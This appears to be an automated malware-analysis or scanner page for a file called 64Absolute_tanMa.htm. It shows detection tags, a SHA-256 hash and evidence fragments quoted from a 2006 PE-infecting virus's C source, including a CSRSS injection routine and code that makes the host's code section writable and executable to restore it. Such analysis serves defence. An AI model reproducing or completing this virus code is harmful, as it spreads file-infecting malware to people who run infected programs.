64Absolute_tanMa.htm
Uses VirtualProtect for RWX memoryLegacy consumer email domain suffix
SHA-2561c13f5b16b9b05140613e959606916d3e9af38ad00c23ab9e01bf8deadc4d1a4
MaleculeH(Mg)
Evidence
7:37… ********************************************
8// THIS IS SOURCE CODE OF VIRUS. IT'S PURPOSE IS TO BE USED IN VIRUS RESEARCH
9// ONLY. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OF CODE AND INFORMATION
10// PROVIDED HEREIN.
11//
12// 64_absolute by tanMa
13// coded in Serbia, November 2006.
14// [email protected]
15//
16//*[Words from SH]**************************************************************
17//
18// The main reason of this virus is show to the public that C/C++ can be
19// used in this contest and the code, when optimized is not even big.
20// From the other side if MS built their OS with the same language, why
21// don't use it for a virus ? For the virus features see author notes.
669:10… uderCSRSS(void)
670{
671HANDLE hMutex;
672
673 //!we do not have to search kernel base address again,
674 //because we already found it (by "Injector")
675 …
722:131… dwCompressedSectionLen);
723
724 //unprotect host .code section for writing (in memory)
725 if (!Kernel.aVirtualProtect((LPVOID)(((ULONGLONG)lpCurrentDosHeader + lpCurrentCodeSectionHdr->VirtualAddress)), lpCurrentCodeSectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect))
726 return;
727
728 //restore host .code section (in memory)
729 if (!NT_SUCCESS(NtDll.aRtlDecompressBuffer(COMPRESS_FORMAT_ENGINE, (PUCHAR)((ULONGLONG)lpCurrentDosHeader + lpCurrentC …